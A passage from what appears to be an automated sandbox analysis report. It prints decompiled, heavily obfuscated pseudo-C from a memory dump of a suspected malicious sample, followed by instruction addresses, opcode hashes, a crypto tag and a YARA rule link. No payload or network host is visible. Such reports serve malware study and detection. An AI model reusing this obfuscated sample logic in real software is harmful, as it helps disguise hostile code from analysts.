							_t732 =  *(_t744 - 0x10);
							if(_t629 > _t535) {
								_t244 = _t570 + 0x41ce1f; // 0x41ce1f
								 *_t764 = _t244;
								_t246 = _t570 + 0x41c0ad; // 0x41c0ad
								 *_t764 =  *_t764 & 0x00000000;
								 *_t764 =  *_t764 | _t246;
								_t535 =  *((intOrPtr*)(_t570 + 0x41f064))(_t744,  *(_t744 - 0x14));
							}
							 *_t764 = _t666;
							 *(_t570 + 0x41c497) = 0 ^ _t535;
							_t669 = 0;
							 *_t764 = _t693;
							_t694 = _t732;
							_t733 = _t694 +  *(_t744 + 8);
							_t696 = 0;
							_t250 = _t570 + 0x41d159; // 0x41d159
							 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
							 *_t764 =  *_t764 ^ _t250;
							_t254 = _t570 + 0x41d213; // 0x41d213
							 *(_t744 - 0x10) = 0;
							 *_t764 =  *_t764 + _t254;
							_t538 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x10),  *(_t744 - 0x14));
							 *(_t744 - 0x14) = _t733;
							 *(_t570 + 0x41d182) =  *(_t570 + 0x41d182) & 0x00000000;
							 *(_t570 + 0x41d182) =  *(_t570 + 0x41d182) ^ (_t733 ^  *(_t744 - 0x14) | _t538);
							_t612 = _t629;
							_t265 = _t570 + 0x41c85c; // 0x41c85c
							 *_t764 =  *_t764 & 0x00000000;
							 *_t764 =  *_t764 | _t265;
							_t266 = _t570 + 0x41c10e; // 0x41c10e
							 *_t764 = _t266;
							_t541 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x14), _t669);
							 *(_t570 + 0x41ce00) =  *(_t570 + 0x41ce00) & 0x00000000;
							 *(_t570 + 0x41ce00) =  *(_t570 + 0x41ce00) | _t669 & 0x00000000 | _t541;
							_t672 = _t669;
							_push( *(_t744 - 0x14) + 2);
							_pop( *_t273);
							_push( *(_t744 - 0x14));
							_pop( *_t275);
							_t276 = _t570 + 0x41c9a3; // 0x41c9a3
							 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
							 *_t764 =  *_t764 ^ _t276;
							_t280 = _t570 + 0x41d1fa; // 0x41d1fa
							 *_t764 = _t280;
							_t544 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x14),  *(_t744 - 0x14));
							 *_t764 = _t672;
							 *((intOrPtr*)(_t570 + 0x41d0fe)) = _t544;
							_t657 = 0;
							_t712 = 0 ^  *_t764;
							_t761 =  &(_t764[1]);
							_t284 = _t570 + 0x41d0af; // 0x41d0af
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 | _t284;
							_t285 = _t570 + 0x41ceae; // 0x41ceae
							 *_t761 = _t285;
							_t491 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x10), _t612);
							 *(_t744 - 0x10) = _t696;
							 *(_t570 + 0x41c8cd) =  *(_t570 + 0x41c8cd) & 0x00000000;
							 *(_t570 + 0x41c8cd) =  *(_t570 + 0x41c8cd) ^ _t696 -  *(_t744 - 0x10) ^ _t491;
							_t685 =  *(_t744 - 0x10);
						}
						 *(_t744 - 0x10) = _t572;
						_t575 =  *(_t744 - 0x10);
						_t322 = _t575 + 0x41cb0b; // 0x41cb0b
						 *(_t744 - 0x14) = 0;
						 *_t761 =  *_t761 | _t322;
						_t495 =  *((intOrPtr*)(_t575 + 0x41f060))( *(_t744 - 0x14));
						 *_t761 = _t495;
						_t327 = _t575 + 0x41cda5; // 0x41cda5
						 *_t761 = _t327;
						_t497 =  *((intOrPtr*)(_t575 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x10));
						_t762 = _t761 - 0xfffffffc;
						 *_t762 =  *_t762 ^ _t744;
						_t745 = _t497;
						_t498 = _t745 +  *_t761;
						_t747 = 0;
						 *(_t747 - 0x14) = _t712;
						_t615 =  *(_t575 + 0x41c96a);
						_t715 =  *(_t747 - 0x14);
						if(_t615 > _t498) {
							_t333 = _t575 + 0x41cb0b; // 0x41cb0b
							 *_t762 =  *_t762 & 0x00000000;
							 *_t762 =  *_t762 | _t333;
							_t334 = _t575 + 0x41cda5; // 0x41cda5
							 *(_t747 - 0x14) =  *(_t747 - 0x14) & 0x00000000;
							 *_t762 =  *_t762 | _t334;
							_t498 =  *((intOrPtr*)(_t575 + 0x41f064))( *(_t747 - 0x14), _t747);
						}
						 *_t339 = _t498;
						 *_t341 =  *(_t747 - 0x10);
						_t762[1] =  *(_t747 - 0xc);
						_t577 = _t575;
						_t344 = _t577 + 0x41cee2; // 0x41cee2
						 *_t762 = _t344;
						_t346 = _t577 + 0x41d33a; // 0x41d33a
						 *(_t747 - 0x14) = 0;
						 *_t762 =  *_t762 | _t346;
						_t501 =  *((intOrPtr*)(_t577 + 0x41f068))( *(_t747 - 0x14),  *(_t747 - 0x10), _t615);
						 *(_t577 + 0x41d1da) =  *(_t577 + 0x41d1da) & 0x00000000;
						 *(_t577 + 0x41d1da) =  *(_t577 + 0x41d1da) | _t715 -  *_t762 | _t501;
						_t718 = _t715;
						 *(_t747 - 0x10) = _t685;
						_t688 =  *(_t747 - 0x10);
						 *_t762 =  *_t762 - _t657;
						 *_t762 =  *_t762 ^ (_t501 & 0x00000000 | _t685 ^  *(_t747 - 0x10) |  *(_t747 - 4));
						_t358 = _t577 + 0x41d2b3; // 0x41d2b3
						 *_t762 =  *_t762 - _t657;
						 *_t762 = _t358;
						_t359 = _t577 + 0x41cb87; // 0x41cb87
						 *(_t747 - 0x10) =  *(_t747 - 0x10) & 0x00000000;
						 *_t762 =  *_t762 + _t359;
						_t506 =  *((intOrPtr*)(_t577 + 0x41f068))( *(_t747 - 0x10), _t657, _t657);
						 *(_t747 - 0x10) = _t615;
						 *(_t577 + 0x41cf9a) =  *(_t577 + 0x41cf9a) & 0x00000000;
						 *(_t577 + 0x41cf9a) =  *(_t577 + 0x41cf9a) | _t615 ^  *(_t747 - 0x10) | _t506;
						_t618 =  *(_t747 - 0x10);
						_t763 =  &(_t762[1]);
						 *(_t747 - 0x10) = 0;
						 *_t763 =  *_t763 ^  *_t762;
						_t373 = _t577 + 0x41c922; // 0x41c922
						 *(_t747 - 0x10) = 0;
						 *_t763 =  *_t763 | _t373;
						_t376 = _t577 + 0x41c97d; // 0x41c97d
						 *_t763 =  *_t763 & 0x00000000;
						 *_t763 =  *_t763 + _t376;
						_t511 =  *((intOrPtr*)(_t577 + 0x41f068))(_t618,  *(_t747 - 0x10),  *(_t747 - 0x10));
						 *(_t577 + 0x41cae1) =  *(_t577 + 0x41cae1) & 0x00000000;
						 *(_t577 + 0x41cae1) =  *(_t577 + 0x41cae1) | _t747 & 0x00000000 | _t511;
						_t744 = _t747;
						_t512 =  *((intOrPtr*)(_t577 + 0x41f050))();
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 + _t512;
						_t385 = _t577 + 0x41c197; // 0x41c197
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 | _t385;
						_t514 =  *((intOrPtr*)(_t577 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x14));
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 | _t514;
						_t391 = _t577 + 0x41c46f; // 0x41c46f
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 ^ _t391;
						_t516 =  *((intOrPtr*)(_t577 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x14));
						_pop( *_t395);
						_t620 = (_t618 & 0x00000000) +  *(_t744 - 0x10);
						 *_t397 = _t516;
						 *(_t744 - 0x14) =  *(_t744 - 0x14) + _t620;
						_push( *(_t744 - 0x14));
						_pop(_t517);
						_t579 = _t577;
						 *(_t744 - 0x10) = _t688;
						_t609 = _t620 & 0x00000000 ^ _t688 -  *(_t744 - 0x10) ^  *(_t579 + 0x41c9d0);
						_t685 =  *(_t744 - 0x10);
						if(_t609 > _t517) {
							_t405 = _t579 + 0x41c197; // 0x41c197
							 *_t763 =  *_t763 & 0x00000000;
							 *_t763 =  *_t763 + _t405;
							_t406 = _t579 + 0x41c46f; // 0x41c46f
							 *(_t744 - 0x10) = 0;
							 *_t763 =  *_t763 ^ _t406;
							_t517 =  *((intOrPtr*)(_t579 + 0x41f064))( *(_t744 - 0x10), _t718);
							 *(_t579 + 0x41cfe1) =  *(_t579 + 0x41cfe1) & 0x00000000;
							 *(_t579 + 0x41cfe1) =  *(_t579 + 0x41cfe1) | _t744 ^  *_t763 ^ _t517;
							_t744 = _t744;
						}
						_t761 =  &(_t763[1]);
						 *_t761 =  *_t761 ^ _t744;
						 *_t761 = _t718;
						 *_t761 = _t517 & 0x00000000 |  *_t763;
						_t522 = 0;
						 *_t761 = _t657;
						 *((intOrPtr*)( *((intOrPtr*)(_t744 - 8)))) = _t522;
						_t660 = 0;
						 *_t415 = _t744;
						 *_t761 = 4;
						_t523 = _t579;
						 *_t417 = 0 ^  *(_t744 - 0x14);
						 *(_t744 - 0x14) =  *(_t744 - 0x14) + _t523;
						_push( *(_t744 - 0x14));
						_pop(_t712);
						_t651 = _t660;
						 *_t422 =  *((intOrPtr*)(_t744 - 8));
						 *(_t744 - 0x10) =  *(_t744 - 0x10) + _t523;
						_push( *(_t744 - 0x10));
						_pop( *_t426);
						_t570 = _t579;
					} while ( *_t712 != 0);
					_t680 = _t685 + 0x14;
					_t701 = _t712;
				} while ( *_t680 != 0 ||  *(_t680 + 0x10) != 0);
				 *_t761 =  *_t761 ^ _t523;
				_t555 = _t523;
				return _t555;
			}

0x031e5262
0x031e5262
0x031e5268
0x031e526f
0x031e5272
0x031e527b
0x031e527c
0x031e527f
0x031e5282
0x031e5288
0x031e5290
0x031e5297
0x031e52a0
0x031e52a6
0x031e52ac
0x031e52ad
0x031e52b1
0x031e52b4
0x031e52ba
0x031e52c2
0x031e52c9
0x031e52d2
0x031e52da
0x031e52de
0x031e52df
0x031e52e5
0x031e52e6
0x031e52ea
0x031e52ed
0x031e52f3
0x031e52f4
0x031e52f8
0x031e52fb
0x031e5303
0x031e530a
0x031e5310
0x031e5311
0x031e5314
0x031e5405
0x031e540b
0x031e540c
0x031e5413
0x031e5417
0x031e541a
0x031e5421
0x031e5424
0x031e5427
0x031e5433
0x031e543a
0x031e5440
0x031e531a
0x031e531a
0x031e5320
0x031e532a
0x031e532d
0x031e5333
0x031e533a
0x031e5343
0x031e5346
0x031e5349
0x031e534c
0x031e534d
0x031e5356
0x031e5359
0x031e5365
0x031e536c
0x031e5372
0x031e5372
0x031e5445
0x031e5445
0x031e5448
0x031e544f
0x031e5452
0x031e5455
0x031e545d
0x031e5464
0x031e546a
0x031e546b
0x031e546e
0x031e5477
0x031e547a
0x031e5480
0x031e5487
0x031e548a
0x031e5491
0x031e5495
0x031e5498
0x031e54a0
0x031e54a3
0x031e54aa
0x031e54ad
0x031e54b0
0x031e54b3
0x031e54b4
0x031e54b5
0x031e54c4
0x031e54c6
0x031e54cb
0x031e54cd
0x031e54d6
0x031e54d9
0x031e54df
0x031e54e6
0x031e54e9
0x031e54e9
0x031e54ef
0x031e54f7
0x031e54fe
0x031e5504
0x031e5507
0x031e5515
0x031e5519
0x031e551d
0x031e5520
0x031e5527
0x031e552b
0x031e552e
0x031e5535
0x031e5539
0x031e553c
0x031e5542
0x031e554a
0x031e5551
0x031e5557
0x031e555a
0x031e5562
0x031e5565
0x031e5568
0x031e556b
0x031e556e
0x031e556f
0x031e5576
0x031e5579
0x031e557c
0x031e5582
0x031e558c
0x031e5595
0x031e5596
0x031e5599
0x031e559c
0x031e55a2
0x031e55a5
0x031e55a8
0x031e55ab
0x031e55ad
0x031e55b1
0x031e55b4
0x031e55bb
0x031e55be
0x031e55c1
0x031e55c7
0x031e55cf
0x031e55d6
0x031e55dc
0x031e55e8
0x031e55eb
0x031e55ed
0x031e55f0
0x031e55f1
0x031e55fb
0x031e55fe
0x031e5607
0x031e560a
0x031e5611
0x031e5614
0x031e5617
0x031e561d
0x031e5624
0x031e5627
0x031e562f
0x031e5632
0x031e5635
0x031e563c
0x031e563d
0x031e5640
0x031e564e
0x031e5650
0x031e5653
0x031e5655
0x031e565b
0x031e5662
0x031e5665
0x031e566b
0x031e5675
0x031e5678
0x031e567e
0x031e5685
0x031e568b
0x031e568b
0x031e5694
0x031e569c
0x031e56a0
0x031e56a4
0x031e56a6
0x031e56a8
0x031e56ac
0x031e56af
0x031e56b8
0x031e56bb
0x031e56c2
0x031e56c6
0x031e56c9
0x031e56cf
0x031e56d6
0x031e56dc
0x031e56e1
0x031e56e4
0x031e56e8
0x031e56eb
0x031e56ee
0x031e56f4
0x031e56fe
0x031e5701
0x031e5707
0x031e570f
0x031e5716
0x031e571f
0x031e5725
0x031e572f
0x031e5732
0x031e5738
0x031e5742
0x031e5745
0x031e574b
0x031e5753
0x031e575a
0x031e5760
0x031e576c
0x031e576f
0x031e5777
0x031e577b
0x031e577e
0x031e5781
0x031e578a
0x031e578d
0x031e5794
0x031e5797
0x031e579a
0x031e57a0
0x031e57a7
0x031e57ad
0x031e57b0
0x031e57b6
0x031e5a4d
0x031e5a51
0x031e5a59
0x031e5a5c
0x031e5a5f
0x031e5a67
0x031e5a6e
0x031e5a74
0x031e5a75
0x031e5a7f
0x031e5a83
0x031e5a8d
0x031e5a91
0x031e5a94
0x031e5a9a
0x031e5aa1
0x031e5aa7
0x031e5aaa
0x031e5ab8
0x031e5abb
0x031e5ac5
0x031e5ac9
0x031e5acc
0x031e5ad2
0x031e5ada
0x031e5ae1
0x031e5ae7
0x031e57bc
0x031e57bc
0x031e57c3
0x031e57c6
0x031e57c9
0x031e57cf
0x031e57d9
0x031e57dc
0x031e57e3
0x031e57e6
0x031e57e9
0x031e57f5
0x031e57f8
0x031e57fd
0x031e5801
0x031e5804
0x031e5806
0x031e5807
0x031e5816
0x031e5818
0x031e581d
0x031e581f
0x031e5826
0x031e582a
0x031e582d
0x031e5836
0x031e5839
0x031e5839
0x031e5845
0x031e584c
0x031e5852
0x031e5854
0x031e5858
0x031e585b
0x031e5864
0x031e586d
0x031e586e
0x031e5871
0x031e5874
0x031e587a
0x031e587c
0x031e5883
0x031e5887
0x031e588a
0x031e5890
0x031e589a
0x031e589d
0x031e58a3
0x031e58aa
0x031e58ad
0x031e58b9
0x031e58bc
0x031e58c3
0x031e58c6
0x031e58c9
0x031e58cc
0x031e58cd
0x031e58ce
0x031e58dd
0x031e58df
0x031e58e4
0x031e58e6
0x031e58ef
0x031e58f2
0x031e58f9
0x031e58fd
0x031e5900
0x031e5900
0x031e5908
0x031e590f
0x031e5915
0x031e5918
0x031e591c
0x031e5920
0x031e5922
0x031e5923
0x031e5929
0x031e5930
0x031e5933
0x031e5939
0x031e5943
0x031e5946
0x031e594c
0x031e5954
0x031e595b
0x031e596f
0x031e5970
0x031e5977
0x031e597b
0x031e597e
0x031e5987
0x031e598a
0x031e5996
0x031e599d
0x031e59a3
0x031e59a4
0x031e59a5
0x031e59a8
0x031e59ab
0x031e59ae
0x031e59b4
0x031e59bb
0x031e59be
0x031e59c7
0x031e59ca
0x031e59d2
0x031e59d9
0x031e59df
0x031e59e2
0x031e59e5
0x031e59e8
0x031e59ef
0x031e59f3
0x031e59f6
0x031e59ff
0x031e5a02
0x031e5a08
0x031e5a10
0x031e5a17
0x031e5a1d
0x031e5a1d
0x031e5aea
0x031e5af8
0x031e5afb
0x031e5b01
0x031e5b0b
0x031e5b0e
0x031e5b17
0x031e5b1a
0x031e5b23
0x031e5b26
0x031e5b35
0x031e5b3a
0x031e5b3e
0x031e5b41
0x031e5b43
0x031e5b44
0x031e5b4f
0x031e5b51
0x031e5b56
0x031e5b58
0x031e5b5f
0x031e5b63
0x031e5b66
0x031e5b6c
0x031e5b73
0x031e5b76
0x031e5b76
0x031e5b7d
0x031e5b83
0x031e5b8e
0x031e5b92
0x031e5b93
0x031e5b9c
0x031e5b9f
0x031e5ba5
0x031e5baf
0x031e5bb2
0x031e5bbe
0x031e5bc5
0x031e5bcb
0x031e5bcc
0x031e5bda
0x031e5bde
0x031e5be1
0x031e5be4
0x031e5beb
0x031e5bee
0x031e5bf1
0x031e5bf7
0x031e5bfe
0x031e5c01
0x031e5c07
0x031e5c0f
0x031e5c16
0x031e5c1c
0x031e5c28
0x031e5c2b
0x031e5c35
0x031e5c38
0x031e5c3e
0x031e5c48
0x031e5c4b
0x031e5c52
0x031e5c56
0x031e5c59
0x031e5c65
0x031e5c6c
0x031e5c72
0x031e5c73
0x031e5c79
0x031e5c83
0x031e5c86
0x031e5c8c
0x031e5c96
0x031e5c99
0x031e5c9f
0x031e5ca9
0x031e5cac
0x031e5cb2
0x031e5cbc
0x031e5cbf
0x031e5ccb
0x031e5cce
0x031e5cd5
0x031e5cd8
0x031e5cdb
0x031e5cde
0x031e5cdf
0x031e5ce0
0x031e5cef
0x031e5cf1
0x031e5cf6
0x031e5cf8
0x031e5cff
0x031e5d03
0x031e5d06
0x031e5d0c
0x031e5d16
0x031e5d19
0x031e5d25
0x031e5d2c
0x031e5d32
0x031e5d32
0x031e5d3c
0x031e5d40
0x031e5d43
0x031e5d48
0x031e5d52
0x031e5d55
0x031e5d5c
0x031e5d5e
0x031e5d61
0x031e5d68
0x031e5d6f
0x031e5d74
0x031e5d77
0x031e5d7a
0x031e5d7d
0x031e5d7e
0x031e5d85
0x031e5d88
0x031e5d8b
0x031e5d8e
0x031e5d91
0x031e5d92
0x031e5da4
0x031e5da6
0x031e5da7
0x031e5dbb
0x031e5dbe
0x031e5dd0

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2616795092f367d06362dbc9c4ea195590f79d012455bc9ff3e9898c1f741067
Instruction ID: ba71511ac978ebff9287723b39be7f15cbfaf9bc91488dda5cf82ed99e343747
Opcode Fuzzy Hash: 2616795092f367d06362dbc9c4ea195590f79d012455bc9ff3e9898c1f741067
Instruction Fuzzy Hash: 70725372844219DFEF04DFA0C9897EEBBF1FF08310F19486ED889AA145D7345664CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 031E5378, Relevance: .7, Instructions: 726
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E031E5378(signed int __ebx, signed int __ecx, intOrPtr* __edi, signed int __esi) {
				void* _t419;
				void* _t421;
				signed int _t422;
				signed int _t425;
				signed int _t428;
				intOrPtr _t430;
				signed int _t432;
				void* _t434;
				signed int _t435;
				signed int _t438;
				signed int _t443;
				signed int _t449;
				void* _t450;
				signed int _t454;
				void* _t456;
				intOrPtr _t457;
				intOrPtr _t460;
				signed int _t462;
				void* _t463;
				signed int _t465;
				signed int _t470;
				signed int _t472;
				signed int _t475;
				signed int _t478;
				signed int _t482;
				void* _t484;
				void* _t485;
				signed int _t488;
				signed int _t493;
				signed int _t498;
				void* _t499;
				signed int _t501;
				void* _t503;
				signed int _t504;
				intOrPtr _t509;
				signed int _t510;
				signed int _t512;
				void* _t514;
				signed int _t515;
				signed int _t519;
				void* _t521;
				signed int _t522;
				signed int _t525;
				signed int _t528;
				intOrPtr _t531;
				signed int _t539;
				signed int _t541;
				void* _t542;
				signed int _t551;
				signed int _t554;
				signed int _t557;
				signed int _t559;
				signed int _t562;
				void* _t564;
				void* _t566;
				signed int _t573;
				signed int _t575;
				void* _t576;
				signed int _t581;
				signed int _t583;
				void* _t586;
				signed int _t588;
				signed int _t590;
				signed int _t596;
				void* _t599;
				signed int _t602;
				signed int _t605;
				signed int _t607;
				signed int _t610;
				signed int _t612;
				signed int _t614;
				signed int _t616;
				signed int _t619;
				signed int _t622;
				signed int _t626;
				signed int _t629;
				signed int _t632;
				signed int _t635;
				signed int _t638;
				signed int _t641;
				signed int _t644;
				signed int _t647;
				void* _t650;
				signed int _t654;
				signed int _t656;
				signed int _t659;
				signed int _t662;
				intOrPtr* _t665;
				signed int _t667;
				signed int _t670;
				signed int _t673;
				void* _t676;
				signed int _t678;
				void* _t679;
				signed int _t681;
				signed int _t687;
				signed int _t690;
				void* _t691;
				signed int _t693;
				signed int _t694;
				signed int _t697;
				signed int _t700;
				signed int _t703;
				signed int _t714;
				signed int _t717;
				signed int _t718;
				signed int _t726;
				void* _t727;
				signed int _t729;
				signed int* _t739;
				signed int* _t740;
				signed int* _t741;
				signed int* _t742;
				signed int* _t743;
				signed int* _t744;
				signed int* _t745;
				signed int* _t746;
				signed int* _t747;

				_t686 = __esi;
				_t665 = __edi;
				_t551 = __ebx;
				_push(__esi);
				 *_t739 =  *_t739 ^ __esi;
				 *_t739 =  *_t739 | __ebx + 0x0041c174;
				_t419 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_t619);
				 *_t739 =  *_t739 - _t619;
				 *_t739 =  *_t739 + _t419;
				_push(__edi);
				 *_t739 =  *_t739 & 0x00000000;
				 *_t739 =  *_t739 + __ebx + 0x41c53c;
				_t421 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t740 = _t739 - 0xfffffffc;
				 *(_t726 - 0x14) = _t619;
				_push((__ecx & 0x00000000 ^  *_t739) + _t421);
				_t622 =  *(_t726 - 0x14);
				_pop(_t422);
				 *(_t726 - 0x14) = _t422;
				_t425 =  *(_t726 - 0x14);
				if((0 ^  *(__ebx + 0x41c2dd)) > _t425) {
					 *__esp =  *__esp & 0x00000000;
					 *__esp =  *__esp + __ebx + 0x41c174;
					 *(__ebp - 0x14) =  *(__ebp - 0x14) & 0x00000000;
					 *__esp =  *__esp | __ebx + 0x0041c53c;
					 *((intOrPtr*)(__ebx + 0x41f064))( *(__ebp - 0x14), __ecx);
				}
				 *_t33 = _t425;
				 *_t35 =  *(_t726 - 0x14);
				while(1) {
					L5:
					 *_t36 =  *_t665;
					_t687 =  *(_t726 - 0x14);
					_t38 = _t551 + 0x41d32a; // 0x41d32a
					 *_t740 =  *_t740 & 0x00000000;
					 *_t740 =  *_t740 ^ _t38;
					_t39 = _t551 + 0x41cdb4; // 0x41cdb4
					 *_t740 =  *_t740 ^ _t726;
					 *_t740 = _t39;
					_t428 =  *((intOrPtr*)(_t551 + 0x41f068))(_t726, _t726);
					 *(_t551 + 0x41cada) =  *(_t551 + 0x41cada) & 0x00000000;
					 *(_t551 + 0x41cada) =  *(_t551 + 0x41cada) | _t622 & 0x00000000 ^ _t428;
					_t622 = _t622;
					while(1) {
						_t626 =  *_t740;
						 *_t740 =  *(_t665 + 0x10);
						_t47 = _t551 + 0x41c661; // 0x41c661
						 *_t740 =  *_t740 ^ _t726;
						 *_t740 =  *_t740 + _t47;
						_t430 =  *((intOrPtr*)(_t551 + 0x41f060))(_t622);
						 *_t740 = _t687;
						 *((intOrPtr*)(_t551 + 0x41d31e)) = _t430;
						_t690 = 0;
						 *_t50 = _t726;
						_t51 = _t551 + 0x41c5b3; // 0x41c5b3
						 *_t740 = _t51;
						_t432 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x10));
						 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
						 *_t740 =  *_t740 ^ _t432;
						_t57 = _t551 + 0x41c868; // 0x41c868
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 ^ _t57;
						_t434 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x14));
						 *_t59 = _t665;
						_t573 = 0 ^  *(_t726 - 0x10);
						 *_t61 = _t434;
						 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t573;
						_push( *(_t726 - 0x14));
						_pop(_t435);
						_t667 = _t665;
						 *(_t726 - 0x14) = _t435;
						_t575 = _t573 & 0x00000000 ^ _t435 & 0x00000000 ^  *(_t551 + 0x41c633);
						_t438 =  *(_t726 - 0x14);
						if(_t575 > _t438) {
							_t68 = _t551 + 0x41c5b3; // 0x41c5b3
							 *_t740 = _t68;
							_t70 = _t551 + 0x41c868; // 0x41c868
							 *(_t726 - 0x10) =  *(_t726 - 0x10) & 0x00000000;
							 *_t740 =  *_t740 | _t70;
							_t438 =  *((intOrPtr*)(_t551 + 0x41f064))( *(_t726 - 0x10),  *(_t726 - 0x14));
						}
						 *(_t726 - 0x10) = _t626;
						 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) & 0x00000000;
						 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) | _t626 & 0x00000000 ^ _t438;
						_t629 =  *(_t726 - 0x10);
						 *(_t726 - 0x10) = _t551;
						_t554 =  *(_t726 - 0x10);
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 | _t438 & 0x00000000 | _t551 & 0x00000000 ^  *(_t726 + 8);
						_t84 = _t554 + 0x41c812; // 0x41c812
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 + _t84;
						_t85 = _t554 + 0x41ca65; // 0x41ca65
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 | _t85;
						_t443 =  *((intOrPtr*)(_t554 + 0x41f068))(_t575, _t690);
						 *(_t726 - 0x14) = _t667;
						 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) & 0x00000000;
						 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) ^ (_t667 -  *(_t726 - 0x14) | _t443);
						_t670 =  *(_t726 - 0x14);
						 *_t94 = _t575;
						 *_t740 =  *_t740 ^ _t690;
						_push( *((intOrPtr*)(_t726 - 8)));
						_pop(_t691);
						 *((intOrPtr*)(_t726 - 8)) = _t691 +  *(_t726 - 0x10);
						_t693 = 0;
						_t98 = _t554 + 0x41d15d; // 0x41d15d
						 *_t740 =  *_t740 - _t575;
						 *_t740 = _t98;
						_t99 = _t554 + 0x41c260; // 0x41c260
						 *(_t726 - 0x10) = 0;
						 *_t740 =  *_t740 | _t99;
						_push( *((intOrPtr*)(_t554 + 0x41f068))( *(_t726 - 0x10), _t575));
						_pop( *_t103);
						_push( *(_t726 - 0x10));
						_pop( *_t105);
						_push( *((intOrPtr*)(_t670 + 0xc)));
						_pop( *_t107);
						_push( *(_t726 - 0x14));
						_pop(_t576);
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 + _t576;
						_t109 = _t554 + 0x41ca52; // 0x41ca52
						 *_t740 =  *_t740 - _t554;
						 *_t740 =  *_t740 + _t109;
						_t449 =  *((intOrPtr*)(_t554 + 0x41f060))(_t554, _t554);
						 *(_t726 - 0x14) = _t629;
						 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) & 0x00000000;
						 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) | _t629 -  *(_t726 - 0x14) ^ _t449;
						_t632 =  *(_t726 - 0x14);
						_t741 = _t740 - 0xfffffffc;
						_push(0);
						 *_t741 =  *_t741 | _t449;
						_push( *_t740);
						_pop(_t450);
						 *_t741 = _t450 +  *(_t726 + 8);
						_t120 = _t554 + 0x41c07f; // 0x41c07f
						 *_t741 = _t120;
						_t454 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
						 *_t741 =  *_t741 - _t632;
						 *_t741 =  *_t741 | _t454;
						_t123 = _t554 + 0x41d248; // 0x41d248
						 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
						 *_t741 =  *_t741 | _t123;
						_t456 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x14), _t632);
						_t581 =  *_t741;
						_t742 =  &(_t741[1]);
						 *(_t726 - 0x10) = _t554;
						_push(_t581 + _t456);
						_t557 =  *(_t726 - 0x10);
						_pop(_t457);
						_t583 = _t581 & 0x00000000 ^ _t632 -  *_t742 ^  *(_t557 + 0x41d0e6);
						_t635 = _t632;
						if(_t583 > _t457) {
							_t131 = _t557 + 0x41c07f; // 0x41c07f
							 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
							 *_t742 =  *_t742 + _t131;
							_t135 = _t557 + 0x41d248; // 0x41d248
							 *(_t726 - 0x14) = 0;
							 *_t742 =  *_t742 | _t135;
							_t457 =  *((intOrPtr*)(_t557 + 0x41f064))( *(_t726 - 0x14),  *(_t726 - 0x14));
							 *(_t726 - 0x10) = _t693;
							 *((intOrPtr*)(_t557 + 0x41cd68)) = _t457;
							_t693 =  *(_t726 - 0x10);
						}
						_pop( *_t142);
						 *_t742 = _t583 & 0x00000000 ^  *(_t726 - 0x10);
						_t586 = _t693;
						_t694 = _t586 +  *(_t726 + 8);
						_t588 = 0;
						 *_t742 =  *_t742 & 0x00000000;
						 *_t742 =  *_t742 | _t588;
						_t145 = _t557 + 0x41d135; // 0x41d135
						 *_t742 = _t145;
						_t147 = _t557 + 0x41c60e; // 0x41c60e
						 *_t742 =  *_t742 & 0x00000000;
						 *_t742 =  *_t742 | _t147;
						_t460 =  *((intOrPtr*)(_t557 + 0x41f068))(_t588,  *(_t726 - 0x10), _t457);
						 *(_t726 - 0x14) = _t635;
						 *((intOrPtr*)(_t557 + 0x41c3e6)) = _t460;
						_t638 =  *(_t726 - 0x14);
						_t590 =  *_t742;
						_t743 = _t742 - 0xfffffffc;
						 *_t743 =  *_t743 - _t638;
						 *_t743 =  *_t743 ^ _t590;
						_t152 = _t557 + 0x41c220; // 0x41c220
						 *(_t726 - 0x14) = 0;
						 *_t743 =  *_t743 + _t152;
						_t462 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x14), _t638);
						 *(_t726 - 0x10) = _t590;
						 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) & 0x00000000;
						 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) ^ (_t590 ^  *(_t726 - 0x10) | _t462);
						_t463 =  *((intOrPtr*)(_t557 + 0x41f054))();
						 *(_t726 - 0x14) = 0;
